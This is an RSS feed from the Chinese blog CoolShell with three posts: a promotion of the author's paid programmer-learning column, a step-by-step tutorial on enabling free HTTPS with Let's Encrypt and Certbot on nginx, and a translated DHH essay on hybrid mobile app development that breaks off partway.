<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Web | 酷 壳 - CoolShell</title>
	<atom:link href="https://coolshell.cn/tag/web/feed" rel="self" type="application/rss+xml" />
	<link>https://coolshell.cn</link>
	<description>享受编程和技术所带来的快乐 - Coding Your Ambition</description>
	<lastBuildDate>Sun, 21 Apr 2019 08:46:11 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.2</generator>
	<item>
		<title>程序员练级攻略（2018)  与我的专栏</title>
		<link>https://coolshell.cn/articles/18360.html</link>
					<comments>https://coolshell.cn/articles/18360.html#comments</comments>
		
		<dc:creator><![CDATA[陈皓]]></dc:creator>
		<pubDate>Tue, 29 May 2018 04:38:23 +0000</pubDate>
				<category><![CDATA[技术读物]]></category>
		<category><![CDATA[杂项资源]]></category>
		<category><![CDATA[C++]]></category>
		<category><![CDATA[Java]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Programmer]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[React]]></category>
		<category><![CDATA[Unix]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[分布式]]></category>
		<category><![CDATA[程序员]]></category>
		<guid isPermaLink="false">https://coolshell.cn/?p=18360</guid>

					<description><![CDATA[<p>写极客时间8个月了，我的专栏现在有一定的积累了，今天想自己推荐一下。因为最新的系列《程序员练级攻略（2018）版》正在连载中，而且文章积累量到了我也有比较足的自...</p>
<p class="read-more"><a class="btn btn-default" href="https://coolshell.cn/articles/18360.html"> Read More<span class="screen-reader-text">  Read More</span></a></p>
The post <a href="https://coolshell.cn/articles/18360.html">程序员练级攻略（2018)  与我的专栏</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></description>
										<content:encoded><![CDATA[<p><script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158"
     crossorigin="anonymous"></script><img decoding="async" loading="lazy" class="alignright size-medium" src="https://coolshell.cn/wp-content/uploads/2018/05/专栏-300x262.jpg" alt="" width="300" height="262" />写极客时间8个月了，我的专栏现在有一定的积累了，今天想自己推荐一下。因为最新的系列《程序员练级攻略（2018）版》正在连载中，而且文章积累量到了我也有比较足的自信向大家推荐我的这个专栏了。推荐就从最新的这一系统的文章开始。</p>
<p>2011年，我在 <a href="https://coolshell.cn/">CoolShell</a> 上发表了 《<a href="https://coolshell.cn/articles/4990.html">程序员技术练级攻略</a>》一文，得到了很多人的好评（转载的不算，在我的网站上都有近1000W的访问量了）。并且陆续收到了一些人的反馈，说跟着这篇文章找到了不错的工作。几年过去，也收到了好些邮件和私信，希望我把这篇文章更新一下，因为他们觉得有点落伍了。是的，<strong>老实说，抛开这几年技术的更新迭代不说，那篇文章写得也不算特别系统，同时标准也有点低，当时是给一个想要入门的朋友写的，所以，非常有必要从头更新一下《程序员练级攻略》这一主题</strong>。</p>
<p>目前，我在我极客时间的专栏上更新《程序员练级攻略（2018版）》。升级版的《程序员练级攻略》会比Coolshell上的内容更多，也更专业。这篇文章有【入门篇】、【修养篇】、【专业基础篇】、【软件设计篇】、【高手成长篇】五大篇章，它们会帮助你从零开始，一步步地，系统地，从陌生到熟悉，到理解掌握，从编码到设计再到架构，从码农到程序员再到工程师再到架构师的一步一步进阶，完成从普通到精通到卓越的完美转身……</p>
<p>这篇文章是我写得最累也是最痛苦的文章，原因如下：</p>
<ul>
<li> <strong>学习路径的梳理</strong>。这是一份计算编程相关知识地图，也是一份成长和学习路径。所以有太多的推敲了，知识的路径，体，地图……这让我费了很多工夫，感觉像在编写一本教材一样，即不能太高大上，也不能误人子弟。</li>
<li><strong>新旧知识的取舍。</strong>另外，因为我的成长经历中很多技术都成了过去时，所以对于新时代的程序员应该学习新的技术，然后，很多基础技术在今天依然管用，所以，在这点上，哪些要那些不要，也花了我很多的工夫。</li>
<li><strong>文章书籍的推荐</strong>。为了推荐最好的学习资料和资源，老实说，我几乎翻遍了整个互联网，进行了大量的阅读和比较。这个过程让我也受益非浅。一开始，这篇文章的大小居然在500K左右，太多的信息就是没有信息，所以在信息的筛选上我花费了很多的工夫，删掉了60%的内容。但是，依然很宠大。</li>
</ul>
<p><strong>总之，你一定会被这篇文章的内容所吓到的，是的，我就是故意这样做的，因为，这本来就没有什么捷径，也不可能速成，很多知识都是硬骨头，你只能一口一口的啃，我故意这样做就是为了让你不要有“速成”的幻想，也可以轻而一举的吓退那些不想用功不想努力的人</strong>。</p>
<p>但是，我们也要知道《易经》有云：“<strong>取法其上，得乎其中，取法其中，得乎其下，取法其下，法不得也</strong>”。所以，我这里会给你立个比较高标准，你要努力达到，相信我，就算是达不到，也会比你一开始期望的要高很多……</p>
<p>下面是这份练级攻略的目录，目前只在极客时间上发布，你需要付费阅读（在本文最后有相关的二维码）。</p>
<p><span id="more-18360"></span></p>
<p><img decoding="async" loading="lazy" class="alignnone size-full aligncenter" src="https://coolshell.cn/wp-content/uploads/2018/05/程序员练级攻略.png" alt="" width="290" height="1937" /></p>
<p>&nbsp;</p>
<p>那么，除程序员练级攻略外，我还写了哪些内容？下面是迄今为止我所有的文章的目录。你可以在下面看一下相关的目录。这也算是我开收费专栏来8个月给大家的一份答卷吧。我也没有想到，我居然写了这么多的文章，而且对很多人都很有用。</p>
<p>首先是个人成长和经验之谈的东西，在这里的文章还没有完全更新完，未来要更新什么我也不清楚，但是可以呈现出来的内容和方向如下所示，供你参考。对于个人成长中的内容，都是我多年来的心得和体会，从读者的反馈来看是非常不错的，你一定要要阅读的。</p>
<p><img decoding="async" loading="lazy" class="alignnone size-large aligncenter" src="https://coolshell.cn/wp-content/uploads/2018/05/个人成长和经验之谈-319x1024.png" alt="" width="319" height="1024" /></p>
<p>分布式系统架构，我一共出了两个系列，一个是分布式系统架构的本质，另一个是设计模式。前者偏概念，后者偏技术。这里旨在让你看到整个分布式系统设计的一个非常系统的蓝图，但是因为在手机端上，不可能写得非常细，所以，会缺失一些细节，这些细节我是故意缺失的，主要是有几方面的原因，</p>
<ul>
<li>一方面，这是为了阅读的效果，手机上的文章不过长，所以，不能有太多的细节。</li>
<li>另一方面，也是是想留给大家自行学习，而不是一定要我把饭喂到你的嘴里，你才能吃得着。<strong>学习不只是为要答案，而是学方法</strong></li>
<li>最后是我的私心，因为我也在创业，所以，技术细节上东西正是我在做的产品，所以，如果你想了解得更细，你需要和我有更商业合作。</li>
</ul>
<p><img decoding="async" loading="lazy" class="alignnone size-full aligncenter" src="https://coolshell.cn/wp-content/uploads/2018/05/分布式架构的本质.png" alt="" width="321" height="689" /></p>
<p>&nbsp;</p>
<p><img decoding="async" loading="lazy" class="alignnone  size-full aligncenter" src="https://coolshell.cn/wp-content/uploads/2018/05/分布式架构设计模式-弹力篇.png" alt="" width="331" height="1065" /></p>
<p><img decoding="async" loading="lazy" class="alignnone  size-full aligncenter" src="https://coolshell.cn/wp-content/uploads/2018/05/分布式架构设计模式-管理篇.png" alt="" width="353" height="669" /></p>
<p><img decoding="async" loading="lazy" class="alignnone  size-full aligncenter" src="https://coolshell.cn/wp-content/uploads/2018/05/分布式架构设计模式-性能篇.png" alt="" width="328" height="592" /></p>
<p>区块链的技术专栏本来不在我的写作计划中的，但是因为来问我这方面的技术人太多了，所以，就被问了一系列的文章，这里的文章除了一些技术上的科普，同样有有很多我的观点，你不但可以学到技术，还可以了解一些金融知识和相关的逻辑，我个人觉得这篇文章是让你有独立思考的文章。</p>
<p><img decoding="async" loading="lazy" class=" size-full alignnone aligncenter" src="https://coolshell.cn/wp-content/uploads/2018/05/区块链技术.png" alt="" width="304" height="771" /></p>
<p>我的专栏还在继续，接下来还有一个系列的文章——《从技术到管理》，欢迎关注，也欢迎扫码订阅。</p>
<p><strong>最后友情提示一下：在手机上学习并不是最好的学习方式，也不要在我的专栏上进行学习，把我的专栏当成一个你的助手，当成一个向导，当成一个跳板，真正的学习还是要在线下，专心的，系统地、有讨论地、不断实践地学习，这点希望大家切记！</strong></p>
<p>&nbsp;</p>
<p><img decoding="async" loading="lazy" class="aligncenter size-full " src="https://coolshell.cn/wp-content/uploads/2018/05/专栏.jpg" alt="" width="665" height="580" /></p>
<p>（全文完）<!--



<p align="center"><a href= target=_blank><img decoding="async" src=""></a></p>





<p align="center"><img decoding="async" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg"> <img decoding="async" loading="lazy" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg" width="300" height="300"> <br />关注CoolShell微信公众账号和微信小程序</p>

 

--></p>
<div style="margin-top: 15px; font-size: 16px;color: #cc0000;">
<p align="center"><strong>（转载本站文章请注明作者和出处 <a href="https://coolshell.cn/">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>
</div>

<div class="wp_rp_wrap  wp_rp_vertical_m" id="wp_rp_first"><div class="wp_rp_content"><h3 class="related_post_title">相关文章</h3><ul class="related_post wp_rp"><li ><a href="https://coolshell.cn/articles/4990.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2011/07/programmer-150x150.png" alt="程序员技术练级攻略" width="150" height="150" /></a><a href="https://coolshell.cn/articles/4990.html" class="wp_rp_title">程序员技术练级攻略</a></li><li ><a href="https://coolshell.cn/articles/8088.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg" alt="对技术的态度" width="150" height="150" /></a><a href="https://coolshell.cn/articles/8088.html" class="wp_rp_title">对技术的态度</a></li><li ><a href="https://coolshell.cn/articles/4102.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg" alt="如何学好C语言" width="150" height="150" /></a><a href="https://coolshell.cn/articles/4102.html" class="wp_rp_title">如何学好C语言</a></li><li ><a href="https://coolshell.cn/articles/4758.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg" alt="如何写出无法维护的代码" width="150" height="150" /></a><a href="https://coolshell.cn/articles/4758.html" class="wp_rp_title">如何写出无法维护的代码</a></li><li ><a href="https://coolshell.cn/articles/1992.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2009/12/language-fanboys-150x150.jpg" alt="程序员眼中的编程语言" width="150" height="150" /></a><a href="https://coolshell.cn/articles/1992.html" class="wp_rp_title">程序员眼中的编程语言</a></li><li ><a href="https://coolshell.cn/articles/19219.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2019/03/linux.ninja_-150x150.png" alt="打造高效的工作环境 &#8211; Shell 篇" width="150" height="150" /></a><a href="https://coolshell.cn/articles/19219.html" class="wp_rp_title">打造高效的工作环境 &#8211; Shell 篇</a></li></ul></div></div>The post <a href="https://coolshell.cn/articles/18360.html">程序员练级攻略（2018)  与我的专栏</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></content:encoded>
					
					<wfw:commentRss>https://coolshell.cn/articles/18360.html/feed</wfw:commentRss>
			<slash:comments>62</slash:comments>
		
		
			</item>
		<item>
		<title>如何免费的让网站启用HTTPS</title>
		<link>https://coolshell.cn/articles/18094.html</link>
					<comments>https://coolshell.cn/articles/18094.html#comments</comments>
		
		<dc:creator><![CDATA[陈皓]]></dc:creator>
		<pubDate>Sat, 26 Aug 2017 06:06:17 +0000</pubDate>
				<category><![CDATA[Web开发]]></category>
		<category><![CDATA[杂项资源]]></category>
		<category><![CDATA[网络安全]]></category>
		<category><![CDATA[HTTP]]></category>
		<category><![CDATA[HTTPS]]></category>
		<category><![CDATA[SSL]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[安全]]></category>
		<guid isPermaLink="false">https://coolshell.cn/?p=18094</guid>

					<description><![CDATA[<p>今天，我把CoolShell变成https的安全访问了。我承认这件事有点晚了，因为之前的HTTP的问题也有网友告诉我，被国内的电信运营商在访问我的网站时加入了一...</p>
<p class="read-more"><a class="btn btn-default" href="https://coolshell.cn/articles/18094.html"> Read More<span class="screen-reader-text">  Read More</span></a></p>
The post <a href="https://coolshell.cn/articles/18094.html">如何免费的让网站启用HTTPS</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></description>
										<content:encoded><![CDATA[<p><script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158"
     crossorigin="anonymous"></script><img decoding="async" loading="lazy" class="aligncenter size-full" src="https://coolshell.cn/wp-content/uploads/2017/08/enable-https-banner.png" alt="" width="700" height="220" />今天，我把CoolShell变成https的安全访问了。我承认这件事有点晚了，因为之前的HTTP的问题也有网友告诉我，被国内的电信运营商在访问我的网站时加入了一些弹窗广告。另外，HTTP的网站在搜索引擎中的rank会更低。所以，这事早就应该干了。现在用HTTP访问CoolShell会被得到一个 301 的HTTPS的跳转。下面我分享一下启用HTTPS的过程。</p>
<p>我用的是 <a href="https://letsencrypt.org" target="_blank" rel="noopener noreferrer">Let&#8217;s Encrypt</a>这个免费的解决方案。Let&#8217;s Encrypt 是一个于2015年推出的数字证书认证机构，将通过旨在消除当前手动创建和安装证书的复杂过程的自动化流程，为安全网站提供免费的SSL/TLS证书。这是由<a href="https://letsencrypt.org/isrg/" target="_blank" rel="noopener noreferrer">互联网安全研究小组</a>（ISRG &#8211; Internet Security Research Group，一个公益组织）提供的服务。主要赞助商包括<a title="电子前哨基金会" href="https://www.eff.org" target="_blank" rel="noopener noreferrer">电子前哨基金会</a>，<a class="mw-redirect" title="Mozilla基金会" href="https://www.mozilla.org/foundation/" target="_blank" rel="noopener noreferrer">Mozilla基金会</a>，<a title="Akamai" href="https://www.akamai.com/" target="_blank" rel="noopener noreferrer">Akamai</a>以及Cisco等公司（<a href="https://letsencrypt.org/sponsors/" target="_blank" rel="noopener noreferrer">赞助商列表</a>）。<sup id="cite_ref-3" class="reference"></sup></p>
<p>2015年6月，Let&#8217;s Encrypt得到了一个存储在硬件安全模块中的离线的RSA根证书。这个由IdenTrust证书签发机构交叉签名的根证书被用于签署两个证书。其中一个就是用于签发请求的证书，另一个则是保存在本地的证书，这个证书用于在上一个证书出问题时作备份证书之用。因为IdenTrust的CA根证书目前已被预置于主流浏览器中，所以Let&#8217;s Encrypt签发的证书可以从项目开始就被识别并接受，甚至当用户的浏览器中没有信任ISRG的根证书时也可以。</p>
<p><span id="more-18094"></span></p>
<p>以上介绍文字来自 Wikipedia 的 <a href="https://zh.wikipedia.org/wiki/Let%27s_Encrypt" target="_blank" rel="noopener noreferrer">Let&#8217;s Encrypt 词条</a>。</p>
<p>为你的网站来安装一个证书十分简单，只需要使用电子子前哨基金会EFF的 <a href="https://certbot.eff.org" target="_blank" rel="noopener noreferrer">Certbot</a>，就可以完成。</p>
<p style="padding-left: 30px;">1）首先，打开 <a href="https://certbot.eff.org" target="_blank" rel="noopener noreferrer">https://certbot.eff.org</a> 网页。</p>
<p style="padding-left: 30px;">2）在那个机器上图标下面，你需要选择一下你用的 Web 接入软件 和你的 操作系统。比如，我选的，<code>nginx</code> 和 <code>Ubuntu 14.04</code></p>
<p style="padding-left: 30px;">3）然后就会跳转到一个安装教程网页。你就照着做一遍就好了。</p>
<p>以Coolshell.cn为例 &#8211; Nginx + Ubuntu</p>
<p>首先先安装相应的环境：</p>
<pre data-enlighter-language="shell" class="EnlighterJSRAW">
$ sudo apt-get update
$ sudo apt-get install software-properties-common
$ sudo add-apt-repository ppa:certbot/certbot
$ sudo apt-get update
$ sudo apt-get install python-certbot-nginx
</pre>
<p>然后，运行如下命令：</p>
<pre data-enlighter-language="shell" class="EnlighterJSRAW">
$ sudo certbot --nginx
</pre>
<p><code>certbot</code> 会自动检查到你的 <code>nginx.conf</code> 下的配置，把你所有的虚拟站点都列出来，然后让你选择需要开启 https 的站点。你就简单的输入列表编号（用空格分开），然后，certbot 就帮你下载证书并更新 <code>nginx.conf</code> 了。</p>
<p>你打开你的 <code>nginx.conf</code> 文件 ，你可以发现你的文件中的 <code>server</code> 配置中可能被做了如下的修改：</p>
<pre data-enlighter-language="shell" class="EnlighterJSRAW">listen 443 ssl; # managed by Certbot
ssl_certificate /etc/letsencrypt/live/coolshell.cn/fullchain.pem; # managed by Certbot
ssl_certificate_key /etc/letsencrypt/live/coolshell.cn/privkey.pem; # managed by Certbot
include /etc/letsencrypt/options-ssl-nginx.conf; # managed by Certbot</pre>
<p>和</p>
<pre data-enlighter-language="shell" class="EnlighterJSRAW"> # Redirect non-https traffic to https
if ($scheme != &quot;https&quot;) {
  return 301 https://$host$request_uri;
} # managed by Certbot</pre>
<p>&nbsp;</p>
<p>这里建议配置 http2，这要求 Nginx 版本要大于 1.9.5。HTTP2 具有更快的 HTTPS 传输性能，非常值得开启（<a href="http://blog.httpwatch.com/2015/01/16/a-simple-performance-comparison-of-https-spdy-and-http2/" target="_blank" rel="noopener noreferrer">关于性能你可以看一下这篇文章</a>）。需要开启HTTP/2其实很简单，只需要在 <code>nginx.conf</code> 的 <code>listen 443 ssl;</code> 后面加上 <code>http2</code> 就好了。如下所示：</p>
<pre data-enlighter-language="shell" class="EnlighterJSRAW">listen 443 ssl http2; # managed by Certbot 
ssl_certificate /etc/letsencrypt/live/coolshell.cn/fullchain.pem; # managed by Certbot 
ssl_certificate_key /etc/letsencrypt/live/coolshell.cn/privkey.pem; # managed by Certbot 
include /etc/letsencrypt/options-ssl-nginx.conf; # managed by Certbot</pre>
<p>然后，就 <code>nginx -s reload</code> 就好了。</p>
<p>但是，<strong>Let&#8217;s Encrypt 的证书90天就过期了</strong>，所以，你还要设置上自动化的更新脚本，最容易的莫过于使用 <code>crontab</code> 了。使用 <code>crontab -e</code> 命令加入如下的定时作业（每个月都强制更新一下）：</p>
<pre data-enlighter-language="shell" class="EnlighterJSRAW">0 0 1 * * /usr/bin/certbot renew --force-renewal
5 0 1 * * /usr/sbin/service nginx restart</pre>
<p>当然，你也可以每天凌晨1点检查一下：</p>
<p><code data-enlighter-language="shell" class="EnlighterJSRAW">0 1 * * * certbot renew </code></p>
<p>注：crontab 中有六个字段，其含义如下：</p>
<ul>
<li>第1个字段：分钟 (0-59)</li>
<li>第2个字段：小时 (0-23)</li>
<li>第3个字段：日期 (1-31)</li>
<li>第4个字段：月份 (1-12 [12 代表 December])</li>
<li>第5个字段：一周当中的某天 (0-7 [7 或 0 代表星期天])</li>
<li>/path/to/command &#8211; 计划执行的脚本或命令的名称</li>
</ul>
<p><strong>这么方便的同时，我不禁要问，如果是一些恶意的钓鱼网站也让自己的站点变成https的，这个对于一般用来说就有点难以防范了。哎……</strong></p>
<p>当然，在nginx或apache上启用HTTPS后，还没有结束。因为你可能还需要修改一下你的网站，不然你的网站在浏览时会出现各种问题。</p>
<p><strong>启用HTTPS后，你的网页中的所有的使用 <code>http://</code> 的方式的地方都要改成 <code>https://</code> 不然你的图片，js， css等非https的连接都会导致浏览器抱怨不安全而被block掉</strong>。所以，你还需要修改你的网页中那些 hard code <code>http://</code> 的地方。</p>
<p>对于我这个使用wordpress的博客系统来说，有这么几个部分需要做修改。</p>
<p style="padding-left: 30px;">1）首先是 wordpress的 常规设置中的 “<strong>WordPress 地址</strong>” 和 “<strong>站点地址</strong>” 需要变更为 https 的方式。</p>
<p style="padding-left: 30px;">2）然后是文章内的图片等资源的链接需要变更为 https 的方式。对此，你可以使用一个叫 “<a href="https://wordpress.org/plugins/search-regex/" target="_blank" rel="noopener noreferrer">Search Regex</a>” 插件来批量更新你历史文章里的图片或别的资源的链接。比如：把 <code>http://coolshell.cn</code> 替换成了 <code>https://coolshell.cn</code></p>
<p style="padding-left: 30px;">3）如果你像我一样启用了文章缓存（我用的是<a href="https://wordpress.org/plugins/wp-super-cache/" target="_blank" rel="noopener noreferrer">WP-SuperCache</a>插件），你还要去设置一下 “<strong>CDN</strong>” 页面中的 “Site URL” 和 “off-site URL” 确保生成出来的静态网页内是用https做资源链接的。</p>
<p>基本上就是这些事。希望大家都来把自己的网站更新成 https 的。</p>
<p>嗯，12306，你什么时候按照这个教程做一下你的证书？</p>
<p>（全文完）<!--



<p align="center"><a href= target=_blank><img decoding="async" src=""></a></p>





<p align="center"><img decoding="async" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg"> <img decoding="async" loading="lazy" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg" width="300" height="300"> <br />关注CoolShell微信公众账号和微信小程序</p>

 

--></p>
<div style="margin-top: 15px; font-size: 16px;color: #cc0000;">
<p align="center"><strong>（转载本站文章请注明作者和出处 <a href="https://coolshell.cn/">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>
</div>

<div class="wp_rp_wrap  wp_rp_vertical_m" ><div class="wp_rp_content"><h3 class="related_post_title">相关文章</h3><ul class="related_post wp_rp"><li ><a href="https://coolshell.cn/articles/19395.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2019/05/Authorization-360x200-1-150x150.png" alt="HTTP API 认证授权术" width="150" height="150" /></a><a href="https://coolshell.cn/articles/19395.html" class="wp_rp_title">HTTP API 认证授权术</a></li><li ><a href="https://coolshell.cn/articles/11021.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2014/02/Github-Security-150x150.png" alt="从“黑掉Github”学Web安全开发" width="150" height="150" /></a><a href="https://coolshell.cn/articles/11021.html" class="wp_rp_title">从“黑掉Github”学Web安全开发</a></li><li ><a href="https://coolshell.cn/articles/8767.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2012/12/webtoolbox-150x150.jpg" alt="Web工程师的工具箱" width="150" height="150" /></a><a href="https://coolshell.cn/articles/8767.html" class="wp_rp_title">Web工程师的工具箱</a></li><li ><a href="https://coolshell.cn/articles/8711.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2012/12/200906020837401710-150x150.jpg" alt="程序员疫苗：代码注入" width="150" height="150" /></a><a href="https://coolshell.cn/articles/8711.html" class="wp_rp_title">程序员疫苗：代码注入</a></li><li ><a href="https://coolshell.cn/articles/6043.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg" alt="Web开发中需要了解的东西" width="150" height="150" /></a><a href="https://coolshell.cn/articles/6043.html" class="wp_rp_title">Web开发中需要了解的东西</a></li><li ><a href="https://coolshell.cn/articles/5987.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/12.jpg" alt="如何设计“找回用户帐号”功能" width="150" height="150" /></a><a href="https://coolshell.cn/articles/5987.html" class="wp_rp_title">如何设计“找回用户帐号”功能</a></li></ul></div></div>The post <a href="https://coolshell.cn/articles/18094.html">如何免费的让网站启用HTTPS</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></content:encoded>
					
					<wfw:commentRss>https://coolshell.cn/articles/18094.html/feed</wfw:commentRss>
			<slash:comments>91</slash:comments>
		
		
			</item>
		<item>
		<title>DHH 谈混合移动应用开发</title>
		<link>https://coolshell.cn/articles/12225.html</link>
					<comments>https://coolshell.cn/articles/12225.html#comments</comments>
		
		<dc:creator><![CDATA[jnj]]></dc:creator>
		<pubDate>Mon, 15 Dec 2014 02:57:20 +0000</pubDate>
				<category><![CDATA[技术读物]]></category>
		<category><![CDATA[杂项资源]]></category>
		<category><![CDATA[Android]]></category>
		<category><![CDATA[Hybrid]]></category>
		<category><![CDATA[iOS]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[WebView]]></category>
		<category><![CDATA[移动开发]]></category>
		<guid isPermaLink="false">http://coolshell.cn/?p=12225</guid>

					<description><![CDATA[<p>&#160; David，Ruby on Rails 作者，37signals 合伙人 畅销书作家、演说家、赛车手、业余摄影师、顾家好男人 &#160; 37s...</p>
<p class="read-more"><a class="btn btn-default" href="https://coolshell.cn/articles/12225.html"> Read More<span class="screen-reader-text">  Read More</span></a></p>
The post <a href="https://coolshell.cn/articles/12225.html">DHH 谈混合移动应用开发</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></description>
										<content:encoded><![CDATA[<p><script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158"
     crossorigin="anonymous"></script>&nbsp;</p>
<p style="text-align: right;"><img decoding="async" loading="lazy" class="paddging: 10px; 20px; alignright wp-image-16861" src="https://coolshell.cn/wp-content/uploads/2014/12/1053-DHH-150x150.jpg" alt="1053-DHH" width="80" height="80" srcset="https://coolshell.cn/wp-content/uploads/2014/12/1053-DHH-150x150.jpg 150w, https://coolshell.cn/wp-content/uploads/2014/12/1053-DHH-300x300.jpg 300w, https://coolshell.cn/wp-content/uploads/2014/12/1053-DHH-200x200.jpg 200w, https://coolshell.cn/wp-content/uploads/2014/12/1053-DHH-270x270.jpg 270w, https://coolshell.cn/wp-content/uploads/2014/12/1053-DHH.jpg 451w" sizes="(max-width: 80px) 100vw, 80px" />David，Ruby on Rails 作者，37signals 合伙人</p>
<p style="text-align: right;">畅销书作家、演说家、赛车手、业余摄影师、顾家好男人</p>
<p>&nbsp;</p>
<p><a href="http://37signals.com/" target="_blank">37signals</a> 在2013年2月发布了 Basecamp 的 iPhone app，在此之前我们就使用原生开发（native）还是混合开发（hybrid）做了许多尝试。在2012年项目启动的时候，大多数人都倾向于原生开发。</p>
<p>Facebook 在2012年发布了他们新的 iOS app，为了获得更好的用户体验，他们放弃了原来的 HTML5 混合开发方式。考虑到2010～2011年的时候，HTML 在移动端的性能确实不尽如人意，这个决定在当时看来也在情理之中。2010年的时候我们觉得 iPhone 3G/3GS 够眩够快，但按照现在的标准来看它们就太慢了。因此在为移动应用开发做架构设计时，我们需要考虑新的移动设备的计算能力，而不是那些老的过时的设备。</p>
<h4>移动开发架构设计不需要过多考虑设备的性能</h4>
<p>我们从一些测试中得出的一个结论是：现在的移动设备计算能力都很强，运行原生应用和 HTML 应用的效果差别不大，而 HTML 开发的成本则要比原生开发小得多。</p>
<p>当然这个结论在某些领域并不太适用。如果你要开发一个 3D 游戏，原生开发方式能够带来更好的游戏体验。但如果你的移动应用象 Basecamp 一样侧重信息处理，为了降低开发成本，你就可以考虑混合开发方式。我们就是如此，下面是我们三代移动产品的发展轨迹：</p>
<p><span id="more-12225"></span></p>
<h4>第一代产品：原生外壳(native shell)＋嵌套WebView</h4>
<p><img decoding="async" loading="lazy" class="alignright wp-image-16868 size-medium" src="https://coolshell.cn/wp-content/uploads/2014/12/1159-basecamp-app-phones-300x242.jpg" alt="1159-basecamp-app-phones" width="300" height="242" srcset="https://coolshell.cn/wp-content/uploads/2014/12/1159-basecamp-app-phones-300x242.jpg 300w, https://coolshell.cn/wp-content/uploads/2014/12/1159-basecamp-app-phones.jpg 660w" sizes="(max-width: 300px) 100vw, 300px" /></p>
<p>这个版本就是一个简单的原生外壳负责界面导航，嵌套一个 WebView 来显示 Basecamp Rail application，显示的基本上都是我们移动网站页面，再加上一些特殊的样式。</p>
<p>在移动网站的页面上嵌套一个原生的壳，听起来还是 Web 页面，但实际带给用户的体验确是非常不同。用户可以在 Apple App Store 找到我们的 app，他们一旦登录 app 后可以再也不用重新登录（移动版本的 Safari 似乎会经常清空 cookie，让你不得不重新登录）。我们的 app 大受欢迎，用户评分在4和5之间。</p>
<p>整个 app 由一名程序员和一名设计师开发，成本不高，因为我们可以在已有的移动网站的基础上开发。</p>
<p>如果我们当初开发完全原生的 app，用10个人的团队1年半的时间也未必能完成。</p>
<p>&nbsp;</p>
<h4>第二代产品：原生外壳＋原生导航界面</h4>
<p><img decoding="async" loading="lazy" class="alignright wp-image-16869 size-medium" src="https://coolshell.cn/wp-content/uploads/2014/12/1543-unnamed-187x300.png" alt="1543-unnamed" width="187" height="300" srcset="https://coolshell.cn/wp-content/uploads/2014/12/1543-unnamed-187x300.png 187w, https://coolshell.cn/wp-content/uploads/2014/12/1543-unnamed.png 562w" sizes="(max-width: 187px) 100vw, 187px" /></p>
<p>几个月前发布的 Basecamp Android app 是我们的第二代产品，我们在其中做了大量的改进。</p>
<p>从第一代 iPhone app 中我们感受到了原生导航界面的威力，所以在 Android 版本中，我们由 HTML 页面导航转向了原生导航界面。我们从 HTML 页面生成原生导航界面，用户体验更加流畅，原生界面和 HTML 页面的体验差别越来越小，甚至很难区分哪些是原生部分，哪些是 HTML 。</p>
<p>Android 版本是由一两个程序员和一个设计师开发（50%投入）完成的。我们重用了移动站点和 iPhone app 中使用的所有 webview，大大提高了开发效率，同时用户也很买账，超过1000名用户打了4.5~5的高分。</p>
<p>很多公司在抱怨他们的 iOS 移动项目进展缓慢，Android 项目似乎更是如此。或许他们已经习惯了 iOS 项目的开发流程，也许是因为 Android 的屏幕碎片化问题，但是这些对我们来说那都不是事。我们推出的 Android app 表现良好，重用了95%的代码，开发团队也一直保持在小规模。</p>
<p>&nbsp;</p>
<h4>因地制宜地运用原生开发方式</h4>
